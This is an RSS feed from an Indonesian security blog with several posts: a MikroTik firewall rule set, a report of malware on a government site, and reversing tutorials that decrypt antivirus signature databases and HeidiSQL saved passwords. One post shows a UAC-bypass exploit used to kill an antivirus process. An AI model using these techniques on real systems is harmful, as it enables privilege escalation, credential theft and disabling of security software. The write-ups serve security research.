﻿﻿﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NitrouZ Personal Pages &#187; Security</title>
	<atom:link href="http://xtremenitro.org/category/security/feed" rel="self" type="application/rss+xml" />
	<link>http://xtremenitro.org</link>
	<description>Do What The Fvck You Want To</description>
	<lastBuildDate>Tue, 07 Feb 2012 08:17:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Allowing Akismet using Mikrotik</title>
		<link>http://xtremenitro.org/2012/01/23/allowing-akismet-using-mikrotik.html</link>
		<comments>http://xtremenitro.org/2012/01/23/allowing-akismet-using-mikrotik.html#comments</comments>
		<pubDate>Mon, 23 Jan 2012 07:22:12 +0000</pubDate>
		<dc:creator>NitrouZ</dc:creator>
				<category><![CDATA[Mikrotik]]></category>
		<category><![CDATA[Networking & Server]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1996</guid>
		<description><![CDATA[Setelah beberapa bulan vakum dari &#8220;rumah sendiri&#8221;, sekarang saatnya hardening =)) Kemarin sempet lihat beberapa percobaan untuk scanning pake ASUnetix Web Scanner @.@ Haduh, web saya mau di apain inih @.@ Halah cuek =)) Nge-hack web ini juga ga dapat apa-apa, di dalamnya ga ada data-data yang penting kok =)) .. skip .. lanjut ke [...]]]></description>
			<content:encoded><![CDATA[<p>Setelah beberapa bulan vakum dari &#8220;rumah sendiri&#8221;, sekarang saatnya hardening =)) Kemarin sempet lihat beberapa percobaan untuk scanning pake ASUnetix Web Scanner @.@ Haduh, web saya mau di apain inih @.@ Halah cuek =)) Nge-hack web ini juga ga dapat apa-apa, di dalamnya ga ada data-data yang penting kok =))</p>
<p>.. skip .. lanjut ke masalah inti, ternyata beberapa spam comment ikut masuk ke bagian dapur saya juga. Perasaan Key Akismet udah verified dengan baik dan benar, eh ternyata masih terbentur beberapa rules firewall router saya :( Tapi, Alhamdulillah hal tersebut bisa teratasi dengan baik setelah baca <a href="http://anonym.to/http://blog.akismet.com/akismet-hosting-faq/" target="_blank">FAQ</a> dari akismet kemudian di input ke dalam router saya :D</p>
<div id="attachment_1998" class="wp-caption aligncenter" style="width: 460px"><a href="http://xtremenitro.org/wp-content/uploads/2012/01/akismet_problem.jpg" rel="thumbnail"><img class="size-large wp-image-1998" title="Akismet Checking Problem" src="http://xtremenitro.org/wp-content/uploads/2012/01/akismet_problem-450x36.jpg" alt="Akismet Checking Problem" width="450" height="36" /></a><p class="wp-caption-text">Akismet Checking Problem</p></div>
<p>Karena saya menggunakan MikroTik, maka rules yang akan saya tulis ini menggunakan rules MikroTik. Silakan disesuaikan dengan kebutuhan Anda sendiri, atau untuk lebih jelasnya silakan kunjungi FAQ Akismet.</p>
<pre><code> /ip firewall filter
add action=accept chain=input comment="Allow DNS Traffic" disabled=no protocol=udp src-port=53
add action=accept chain=forward disabled=no protocol=tcp src-address=72.233.69.88
add action=accept chain=forward disabled=no dst-address=72.233.69.88 protocol=tcp
add action=accept chain=forward disabled=no protocol=tcp src-address=72.233.69.89
add action=accept chain=forward disabled=no dst-address=66.135.58.61 protocol=tcp
add action=accept chain=forward disabled=no protocol=tcp src-address=66.135.58.61
add action=accept chain=forward disabled=no dst-address=66.135.58.62 protocol=tcp
add action=accept chain=forward disabled=no protocol=tcp src-address=66.135.58.62
add action=accept chain=forward disabled=no dst-address=72.233.69.89 protocol=tcp
add action=accept chain=forward content=.rest.akismet.com disabled=no dst-port=80 protocol=tcp
add action=accept chain=forward content=.rest.akismet.com disabled=no protocol=tcp src-port=80 </code></pre>
<div id="attachment_1997" class="wp-caption aligncenter" style="width: 460px"><a href="http://xtremenitro.org/wp-content/uploads/2012/01/akismet.jpg" rel="thumbnail"><img class="size-large wp-image-1997" title="Allow Akismet" src="http://xtremenitro.org/wp-content/uploads/2012/01/akismet-450x147.jpg" alt="Allow Akismet" width="450" height="147" /></a><p class="wp-caption-text">Allow Akismet</p></div>
<p>Semoga, spam-spam dan &#8220;orang iseng&#8221; yang pentest ke web yang ga berguna ini cepet beralih =))</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2012/01/23/allowing-akismet-using-mikrotik.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware Di Situs Pemda Malang</title>
		<link>http://xtremenitro.org/2011/08/30/malware-di-situs-pemda-malang.html</link>
		<comments>http://xtremenitro.org/2011/08/30/malware-di-situs-pemda-malang.html#comments</comments>
		<pubDate>Tue, 30 Aug 2011 09:52:41 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[malang]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[pemda]]></category>

		<guid isPermaLink="false">http://dev.antituhan.com/?p=1876</guid>
		<description><![CDATA[Pagi ini (30-08-2011) saya sedang browsing di situs Pemda Kabupaten Malang dan di sana terdapat sebuah file berekstensi eml yang setelah saya cek ternyata berisi attachment malware RunOnce. Berikut ini adalah penggalan file tersebut: Dari penggalan email tersebut, terdapat attachment berupa file executable dengan nama pp.exe yang di-encode menggunakan base64. Setelah di-decode dan melalui pemeriksaan [...]]]></description>
			<content:encoded><![CDATA[<p>Pagi ini (30-08-2011) saya sedang browsing di situs <a href="http://anonym.to/http://www.malangkab.go.id/">Pemda Kabupaten Malang</a> dan di sana terdapat sebuah file berekstensi eml yang setelah saya cek ternyata berisi attachment malware RunOnce. Berikut ini adalah penggalan file tersebut:</p>
<p><img src="http://xtremenitro.org/wp-content/uploads/2011/08/malware.png"></p>
<p>Dari penggalan email tersebut, terdapat attachment berupa file <em>executable</em> dengan nama <em>pp.exe</em> yang di-encode menggunakan base64. Setelah di-decode dan melalui pemeriksaan melalui situs virustotal, ternyata malware tersebut adalah RunOnce. Nah, bagi rekan-rekan yang sering berselancar hendaknya lebih berhati-hati karena malware bisa saja berada di situs yang tidak kita perkirakan sebelumnya. Sekian posting singkat kali ini, semoga bermanfaat. Terima kasih.</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2011/08/30/malware-di-situs-pemda-malang.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Decrypting Artav Internet Security Database</title>
		<link>http://xtremenitro.org/2011/02/06/decrypting-artav-internet-security-database.html</link>
		<comments>http://xtremenitro.org/2011/02/06/decrypting-artav-internet-security-database.html#comments</comments>
		<pubDate>Sun, 06 Feb 2011 05:04:28 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Programming & Scripting]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[artav]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[decrypt]]></category>
		<category><![CDATA[signature]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1822</guid>
		<description><![CDATA[Pendahuluan Oke, singkat saja. Kali ini kita akan men-decrypt database signature Artav Internet Security. Langkah-langkah Download database signature Artav $ curl -# -O http://arrival88.fileave.com/Signature.rar ######################################################################## 100.0% Unrar file databasenya $ unrar x Signature.rar UNRAR 3.93 freeware Copyright (c) 1993-2010 Alexander Roshal Extracting from Signature.rar Extracting ARTAVSig.dll OK All OK Periksa tipe file serta ukurannya $ [...]]]></description>
			<content:encoded><![CDATA[<p><b>Pendahuluan</b><br />
Oke, singkat saja. Kali ini kita akan men-<i>decrypt</i> database signature Artav Internet Security.</p>
<p><b>Langkah-langkah</b></p>
<ol>
<li>Download database signature Artav<br/>
<pre>
$ curl -# -O http://arrival88.fileave.com/Signature.rar
######################################################################## 100.0%
</pre>
</li>
<li>Unrar file databasenya<br/>
<pre>
$ unrar x Signature.rar

UNRAR 3.93 freeware      Copyright (c) 1993-2010 Alexander Roshal

Extracting from Signature.rar

Extracting  ARTAVSig.dll                                              OK
All OK
</pre>
</li>
<li>Periksa tipe file serta ukurannya<br/>
<pre>
$ file ARTAVSig.dll &#038;&#038; ls -lh ARTAVSig.dll
ARTAVSig.dll: data
-rw-r--r-- 1 drubicza users 748K 2011-01-29 22:22 ARTAVSig.dll
</pre>
</li>
<li>Ternyata filenya adalah data :D Oke, waktunya men-<i>decrypt</i><br/>
<pre>
$ python
Python 2.7 (r27:82500, Aug 14 2010, 21:08:29)
[GCC 4.3.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; import array
&gt;&gt;&gt; with open('ARTAVSig.dll', 'rb+') as f:
...     b = array.array('c')
...     b.fromfile(f, 160)
...     for i in range(0,160):
...             b[i] = chr(ord(b[i]) ^ 190)
...     f.seek(0)
...     b.tofile(f)
...
&gt;&gt;&gt;
</pre>
</li>
<li>Sekarang, kita periksa lagi jenis filenya<br/>
<pre>
$ file ARTAVSig.dll
ARTAVSig.dll: Microsoft Access Database
</pre>
</li>
<li>Selesai :D</li>
</ol>
<p>Rahasia dari kode <i>decrypt</i> di atas adalah karena Artav menggunakan database yang sama persis dengan <b>al VirusScan</b> buatan Moh Aly Shodiqin. Namun demikian, saya belum sempat mencari tahu apakah Artav sepenuhnya dikembangkan dari source code al VirusScan. Oke, berikut ini potongan fungsi enkripsi yang bisa dilihat pada modul <b>mDatabase.bas</b> al VirusScan.</p>
<pre>
Function LockUnlock(Filename As String, Locked As Boolean) As Boolean
'--skipped--
               If data(0) = &#038;HBE Then
                  For i = 0 To 160
                    shpwd(i) = inpwd(i) Xor 255 Xor 19 Xor 3 Xor 81
                  Next i
                  Put #1, 1, shpwd
               End If
'--skipped--
End Function
</pre>
<p>Setelah proses dekripsi, Anda bisa membuka file signature Artav menggunakan Microsoft&reg; Access atau aplikasi lainnya. Oke, sekian dulu artikel singkat kali ini. Semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, TKP Crew dan Anda :)</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2011/02/06/decrypting-artav-internet-security-database.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Bypass UAC</title>
		<link>http://xtremenitro.org/2011/01/12/bypass-uac.html</link>
		<comments>http://xtremenitro.org/2011/01/12/bypass-uac.html#comments</comments>
		<pubDate>Wed, 12 Jan 2011 00:42:08 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[uac]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1806</guid>
		<description><![CDATA[Beberapa waktu lalu ketika sedang melakukan update metasploit, saya melihat ada exploit bernama bypassuac. Seperti namanya, exploit ini bisa digunakan untuk mem-bypass UAC pada sistem operasi Windows&#174;. Singkat saja, berikut ini adalah petunjuk penggunaannya: C:\&#62; elevate Too few arguments Incorrect input. Please find samples below. Note, 'elevate stuff' will be executed in the elevated shell [...]]]></description>
			<content:encoded><![CDATA[<p>Beberapa waktu lalu ketika sedang melakukan update metasploit, saya melihat ada exploit bernama bypassuac. Seperti namanya, exploit ini bisa digunakan untuk mem-bypass UAC pada sistem operasi Windows&reg;. Singkat saja, berikut ini adalah petunjuk penggunaannya:</p>
<pre>
C:\&gt; elevate
Too few arguments
Incorrect input. Please find samples below.
Note, 'elevate stuff' will be executed in the elevated shell as 'cmd.exe stuff'

        elevate /c <ANY COMMAND SEQUENCE THAT IS ALLOWED BY CMD.EXE SHELL>
        elevate /c <command> [arg1] [arg2] .. [argn]
        elevate --pid 1234 /c <command> [arg1] [arg2] .. [argn]
        elevate /c c:\path\foo.exe [arg1] [arg2] .. [argn]
        elevate --pid 1234 /c c:\path\foo.exe [arg1] [arg2] .. [argn]

C:\&gt;
</pre>
<p>Berikut ini contoh penggunaannya yang diuji coba pada sistem operasi Windows&reg; 7 Ultimate x64. Kita akan mencoba mematikan proses pcmav valhalla (alpha) sebagai user biasa:</p>
<pre>
C:\&gt; taskkill /F /IM pcmav.exe /T
ERROR: The process with PID 3044 (child process of PID 2100) could not be terminated.
Reason: Access is denied.

C:\&gt;
</pre>
<p>Ternyata kita tidak dapat mematikan proses pcmav :D , tapi jangan khawatir, sekarang kita matikan prosesnya menggunakan exploit bypassuac.</p>
<pre>
C:\&gt; elevate /c taskkill /F /IM pcmav.exe /T
SUCCESS: The process with PID 3044 (child process of PID 2100) has been terminated.

C:\&gt;
</pre>
<p>Nah, exploitnya berhasil dan proses pcmav sudah dinonaktifkan. Oke, posting singkat ini hanya untuk memberikan gambaran saja. Untuk informasi yang lebih lengkap, kawan-kawan bisa googling :D dan <a href="http://anonym.to/?http://www.exploit-db.com/exploits/15609/">baca keterangan yang ada di sini</a>. Terima kasih kepada Tuhan Yang Maha Esa, TKP Crew dan Anda yang telah membaca artikel singkat ini.</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2011/01/12/bypass-uac.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Decrypting Session Password HeidiSQL</title>
		<link>http://xtremenitro.org/2010/11/06/decrypting-session-password-heidisql.html</link>
		<comments>http://xtremenitro.org/2010/11/06/decrypting-session-password-heidisql.html#comments</comments>
		<pubDate>Fri, 05 Nov 2010 22:03:55 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Programming & Scripting]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[decrypt]]></category>
		<category><![CDATA[heidisql]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1786</guid>
		<description><![CDATA[HeidiSQL adalah salah satu aplikasi client untuk database MySQL. Pada note kali ini akan dibahas bagaimana cara melakukan dekripsi password session pada setting/konfigurasi heidisql. Karena heidisql sifatnya open source, maka akan lebih memudahkan. Fungsi enkripsi dan dekripsi berada pada file helpers.pas dan teknik yang digunakan pun cukup sederhana. Ok, langsung saja, berikut ini potongan fungsi [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://anonym.to/?http://www.heidisql.com/">HeidiSQL</a> adalah salah satu aplikasi client untuk database MySQL. Pada note kali ini akan dibahas bagaimana cara melakukan dekripsi password session pada setting/konfigurasi heidisql. Karena heidisql sifatnya open source, maka akan lebih memudahkan. Fungsi enkripsi dan dekripsi berada pada file <b>helpers.pas</b> dan teknik yang digunakan pun cukup sederhana. Ok, langsung saja, berikut ini potongan fungsi dekripsi yang dimaksud (heidisql dibuat menggunakan Borland Delphi):</p>
<pre>{***
  Password-decryption, used to restore session-passwords from registry

  @param string Text to decrypt
  @return string Decrypted Text
}
function decrypt(str: String) : String;
var
  j, salt, nr : integer;
begin
  result := '';
  if str = '' then exit;
  j := 1;
  salt := StrToIntDef(str[length(str)],0);
  result := '';
  while j &lt; length(str)-1 do begin
    nr := StrToInt('$' + str[j] + str[j+1]) - salt;
    if nr &lt; 0 then
      nr := nr + 255;
    result := result + chr(nr);
    inc(j, 2);
  end;
end;
</pre>
<p>dari potongan fungsi di atas, bisa terlihat bahwa password terlebih dahulu diubah menjadi dua digit hexadesimal lalu dikurangi dengan salt. Salt itu sendiri merupakan bilangan acak antara 1-9 yang diletakkan dibagian paling akhir dari password. Untuk heidisql versi 5, file konfigurasinya bernama <b>portable_settings.txt</b> sedangkan untuk versi 4 namanya <b>RegKey1.reg</b> (CMIIW). Ok, berikut ini source untuk mendekripsi password session heidisql dalam bahasa Python:</p>
<pre>
s = "PUT_ENCRYPTED_PASSWORD_HERE"
for i in range(0,len(s)-1,2):
    print chr(int(s[i] + s[i+1], 16) - int(s[-1])),
</pre>
<p>source di atas tidak melakukan konversi untuk ASCII yang kurang dari 0 (silakan tambahkan sendiri &#58;&#80;). Contoh penggunaannya:</p>
<pre>
$ python
Python 2.7 (r27:82525, Jul  4 2010, 07:43:08) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> s = "736476767A7275673"
>>> for i in range(0,len(s)-1,2):
...     print chr(int(s[i] + s[i+1], 16) - int(s[-1])),
...
p a s s w o r d
>>>
</pre>
<p>Demikian artikel singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa dan Anda yang telah membaca artikel ini.</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2010/11/06/decrypting-session-password-heidisql.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Decrypting Morphost Antivirus Database</title>
		<link>http://xtremenitro.org/2010/06/06/decrypting-morphost-antivirus-database.html</link>
		<comments>http://xtremenitro.org/2010/06/06/decrypting-morphost-antivirus-database.html#comments</comments>
		<pubDate>Sun, 06 Jun 2010 12:48:09 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[decrypt]]></category>
		<category><![CDATA[morphost]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1714</guid>
		<description><![CDATA[Pendahuluan Morphost adalah salah satu antivirus lokal yang cukup ternama dan situs resminya ada di sini. Untuk tutorial kali ini, saya menggunakan database morphost bulan Mei 2010 yang bisa diunduh di sini. Kita akan melakukan dekripsi untuk mengetahui format database morphost. Langkah-langkah Untuk mengetahui cara kerja morphost, kita terlebih dahulu melakukan sedikit debugging. Ok, jalankan [...]]]></description>
			<content:encoded><![CDATA[<p><b>Pendahuluan</b><br/><br />
Morphost adalah salah satu antivirus lokal yang cukup ternama dan situs resminya <a href="http://anonym.to/http://morphians.wordpress.com/">ada di sini</a>. Untuk tutorial kali ini, saya menggunakan database morphost bulan Mei 2010 yang bisa <a href="http://anonym.to/http://www.4shared.com/file/DGf_BNWY/DatabaseMorphostMei2010.html">diunduh di sini</a>. Kita akan melakukan dekripsi untuk mengetahui format database morphost.<br/><br />
<b>Langkah-langkah</b><br/><br />
Untuk mengetahui cara kerja morphost, kita terlebih dahulu melakukan sedikit debugging. Ok, jalankan Ollydbg lalu load morphost (pada artikel ini saya menggunakan morphost versi 7.1.0.0). Lihat bagian module yang diimport:</p>
<pre>
Executable modules
Base       Size       Entry      Name       File version    Path
00400000   001B5000   00401344   Morphost   7.01            H:\--snip--\Morphost ß.exe
73420000   00153000   73421AF8   MSVBVM60   6.00.9802       H:\WINDOWS\system32\MSVBVM60.DLL
77120000   0008B000   77121560   OLEAUT32   5.1.2600.5512   H:\WINDOWS\system32\OLEAUT32.dll
774E0000   0013D000   774FD0B9   ole32      5.1.2600.5512   H:\WINDOWS\system32\ole32.dll
77C10000   00058000   77C1F2A1   msvcrt     7.0.2600.5512   H:\WINDOWS\system32\msvcrt.dll
77DD0000   0009B000   77DD70FB   ADVAPI32   5.1.2600.5512   H:\WINDOWS\system32\ADVAPI32.dll
77E70000   00092000   77E7628F   RPCRT4     5.1.2600.5512   H:\WINDOWS\system32\RPCRT4.dll
77F10000   00049000   77F16587   GDI32      5.1.2600.5512   H:\WINDOWS\system32\GDI32.dll
77FE0000   00011000   77FE2126   Secur32    5.1.2600.5512   H:\WINDOWS\system32\Secur32.dll
7C800000   000F6000   7C80B63E   kernel32   5.1.2600.5512   H:\WINDOWS\system32\kernel32.dll
7C900000   000AF000   7C912C28   ntdll      5.1.2600.5512   H:\WINDOWS\system32\ntdll.dll
7E410000   00091000   7E41B217   USER32     5.1.2600.5512   H:\WINDOWS\system32\USER32.dll
</pre>
<p>Klik ganda pada baris <b>msvbvm60.dll</b> untuk menuju ke library tersebut. Setelah berada pada modul msvbvm60, tekan <b>Ctrl + N</b> lalu cari fungsi <i>__vbaFileOpen</i> seperti ini:</p>
<pre>
734F3B5D   .text      Export     __vbaFileOpen
</pre>
<p>Setelah ketemu, tekan <b>F2</b> untuk mengaktifkan <i>breakpoint</i>. Tekan <b>F9</b> untuk mulai menjalankan morphost. Kita akan menemukan breakpoint pertama, lanjutkan dengan menekan lagi <b>F9</b>. Pada breakpoint ke-2 ini akan terlihat bahwa morphost mengakses file <b>kernell.dat</b> pada direktori sistem (Windows\system32):</p>
<pre>
0012F9CC   00157384  UNICODE "H:\WINDOWS\system32\kernell.dat"
</pre>
<p>Nah, file tersebut adalah file database morphost yang sudah didekripsi oleh morphost ketika dijalankan. Sebenarnya, key yang digunakan oleh morphost bisa terlihat ketika proses debugging. Namun untuk menghemat waktu, keynya saya berikan saja :D yaitu:</p>
<pre>
Database Morphost Antivirus
</pre>
<p><br/><br />
<b>Decryptor</b><br/><br />
Source code berikut ini bisa digunakan untuk mendekripsi database morphost (bulan Mei 2010).</p>
<pre>
#include &lt;windows.h&gt;

#ifdef _MSC_VER
#pragma comment(lib,"kernel32")
#pragma comment(lib,"user32")
#pragma comment(linker,"/entry:main /subsystem:windows")
#endif

void
main()
{
  int i;
  char *p;
  HANDLE hfile;
  HGLOBAL hmem;
  DWORD dwsize, dwtemp;
  static const char *szkey = "Database Morphost Antivirus";

  if ((hfile = CreateFile("database.mrp", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0)) == INVALID_HANDLE_VALUE)
  {
    MessageBox (NULL, "gagal membuka file database morphost", "error", MB_OK | MB_ICONERROR);
    ExitProcess(1);
  }
  dwsize = GetFileSize(hfile, NULL);
  hmem = GlobalAlloc(GPTR, dwsize);
  p = (char *) GlobalLock(hmem);
  ReadFile(hfile, p, dwsize, &#038;dwtemp, NULL);
  CloseHandle(hfile);

  for (i = 0; i &lt; (int) dwsize; i++) { p[i] ^= szkey[(i % 27)]; }

  if ((hfile = CreateFile("database.txt", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)) != INVALID_HANDLE_VALUE)
  {
    WriteFile(hfile, hmem, dwsize, &#038;dwtemp, NULL);
    CloseHandle(hfile);
    MessageBox (NULL, "database morphost berhasil didekripsi", "info", MB_OK | MB_ICONINFORMATION);
  }
  GlobalUnlock(hmem);
  GlobalFree(hmem);
  ExitProcess(0);
}
</pre>
<p>Dan berikut ini adalah database morphost yang sudah didekripsi (bulan Mei 2010)</p>
<pre>
Database Mei 2010
Database Morphost Antivirus
by:Morphic Karta
Terima kasih kepada pengguna Morphost Antivirus yang telah mempercayakan Morphost sebagai guard komputer.
Kami masih tetap berusaha untuk memberikan yang terbaik, baik dari sisi kenyamanan penggunaan sampai keamanan komputer anda.
Kami juga mengharapkan agar masyarakat juga mau membantu kami dalam pengembangan database Morphost bulan Juni 2010. Kirim/upload sampel malware pada kami.
Anda bisa berikan link download malware kepada kami atau mengirimkannya secara langsung pada kami. Terima kasih.
10 Juni 2010
14
580
581
582
583
584
1003DC=DeleteRegedit=Maret 2009=Ringan
100630=Playboy-A=November 2009=Ringan
103218=Aidid=Tidak Ada Data=Sedang
10C968=OpenSystem=Tidak Ada Data=Sedang
1181AB=Decoil-Dropper=Tidak Ada Data=Parah
119723=FullHouse=Tidak Ada Data=Sedang
11DC95=Iwing=Tidak Ada Data=Sedang
...
</pre>
<p><b>Penutup</b><br/><br />
Demikianlah artikel singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, TKP crew, Kris Kaspersky, dan Anda yang telah membaca artikel ini :)</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2010/06/06/decrypting-morphost-antivirus-database.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Decrypting Smadav Loov Database</title>
		<link>http://xtremenitro.org/2010/06/04/decrypting-smadav-loov-database.html</link>
		<comments>http://xtremenitro.org/2010/06/04/decrypting-smadav-loov-database.html#comments</comments>
		<pubDate>Fri, 04 Jun 2010 02:25:01 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[decrypt]]></category>
		<category><![CDATA[loov]]></category>
		<category><![CDATA[smadav]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1708</guid>
		<description><![CDATA[Pendahuluan Pada artikel kali ini akan dibahas cara mendekripsi file database smadav yang menggunakan format loov. Mekanisme Dekripsi Jadi secara sederhana, file database smadav.loov bekerja seperti ini: cari ukuran file smadav.loov ubah format ukuran ke DWORD dan ambil lower byte dari ukuran tersebut. misalnya ukuran file databasenya 28119 bytes, maka jika diubah menjadi DWORD (hex) [...]]]></description>
			<content:encoded><![CDATA[<p><b>Pendahuluan</b><br/><br />
Pada artikel kali ini akan dibahas cara mendekripsi file database smadav yang menggunakan format <i>loov</i>.<br/><br />
<b>Mekanisme Dekripsi</b><br/><br />
Jadi secara sederhana, file database <i>smadav.loov</i> bekerja seperti ini:</p>
<ul>
<li>cari ukuran file <i>smadav.loov</i></li>
<li>ubah format ukuran ke DWORD dan ambil lower byte dari ukuran tersebut. misalnya ukuran file databasenya 28119 bytes, maka jika diubah menjadi DWORD (hex) menjadi 0x6DD7. nah, 0xD7 ini yang akan kita gunakan.</li>
<li>selanjutnya kita baca mulai dari offset 0&#215;20 dari file <i>smadav.loov</i> lalu setiap byte kita XOR dengan offset byte tersebut kemudian di XOR lagi dengan byte pada langkah sebelumnya (dalam hal ini 0xD7).
<li>ulangi sampai selesai</li>
</ul>
<p><span id="more-1708"></span><br />
<b>Proof of Concept</b><br/></p>
<pre>
        format PE GUI 4.0
	include 'win32a.inc'

;[code]------------------------------------------------------------------------

	push	.done
	push	dword[fs:0]
	mov	dword[fs:0],esp
	invoke	CreateFile,szloov,GENERIC_READ,0,0,OPEN_EXISTING,0,0
	cmp	eax,INVALID_HANDLE_VALUE
	je	.done
	mov	[hfile],eax
	invoke	GetFileSize,[hfile],0
	mov	[dwsize],eax
	invoke	GlobalAlloc,GPTR,eax
	mov	[hmem],eax
	invoke	ReadFile,[hfile],[hmem],[dwsize],dwtemp,0
	invoke	CloseHandle,[hfile]
	movzx	edx,byte[dwsize]
	mov	eax,20h
	mov	ebx,[hmem]
.blah:	mov	cl,byte[ebx+eax]
	xor	cl,al
	xor	cl,dl
	mov	byte[ebx+eax],cl
	inc	eax
	cmp	eax,dword[dwsize]
	jl	.blah
	invoke	CreateFile,szdump,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0
	cmp	eax,INVALID_HANDLE_VALUE
	je	.clean
	mov	[hfile],eax
	invoke	WriteFile,[hfile],[hmem],[dwsize],dwtemp,0
	invoke	CloseHandle,[hfile]
	invoke	MessageBox,0,szmsg,szcap,MB_OK+MB_ICONINFORMATION
.clean: invoke	GlobalFree,[hmem]
.done:	pop	dword[fs:0]
	add	esp,4
	invoke	ExitProcess,0

;[data]------------------------------------------------------------------------

szloov	db "smadav.loov",0
szdump	db "smadav.dump",0
szcap	db "info",0
szmsg	db "decrypt selesai, silakan cek file smadav.dump",0
hmem	dd 0
hfile	dd 0
dwsize	dd 0
dwtemp	dd 0

;[imports]---------------------------------------------------------------------

data import
library kernel32,'kernel32.dll',\
	user32,'user32.dll'
include 'api/kernel32.inc'
include 'api/user32.inc'
end data
</pre>
<p>dan berikut ini snippet hasil dekripsi file <i>smadav.loov</i> yang ada pada smadav 8.2 beta<br />
<center><img src="http://xtremenitro.org/wp-content/uploads/2010/06/ss-smadav.png"></center></p>
<p><b>Penutup</b><br/><br />
Sekian artikel kali ini, semoga bermanfaat. Terima kasih kepada: Tuhan Yang Maha Esa, TKP Crew, Kris Kaspersky, dan Anda yang telah membaca artikel ini :)</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2010/06/04/decrypting-smadav-loov-database.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>[Iseng] Test Antivirus Lokal</title>
		<link>http://xtremenitro.org/2010/06/02/iseng-test-antivirus-lokal.html</link>
		<comments>http://xtremenitro.org/2010/06/02/iseng-test-antivirus-lokal.html#comments</comments>
		<pubDate>Wed, 02 Jun 2010 09:05:36 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Junk]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[lokal]]></category>
		<category><![CDATA[source]]></category>
		<category><![CDATA[test]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1692</guid>
		<description><![CDATA[GPL alias Ga Pake Lama, berikut ini source code sederhana yang dibuat dalam tempo yang sesingkat-singkatnya. /** * source code ini hanya untuk tujuan pembelajaran * TKP Crew tidak bertanggungjawab atas penggunaan * dan/atau penyalahgunaan source code ini. * USE AT YOUR OWN RISK. PERIOD */ #define WIN32_LEAN_AND_MEAN #include &#60;windows.h&#62; #include &#60;winsvc.h&#62; #ifdef _MSC_VER #pragma [...]]]></description>
			<content:encoded><![CDATA[<p>GPL alias Ga Pake Lama, berikut ini source code sederhana yang dibuat dalam tempo yang sesingkat-singkatnya.<br />
<span id="more-1692"></span></p>
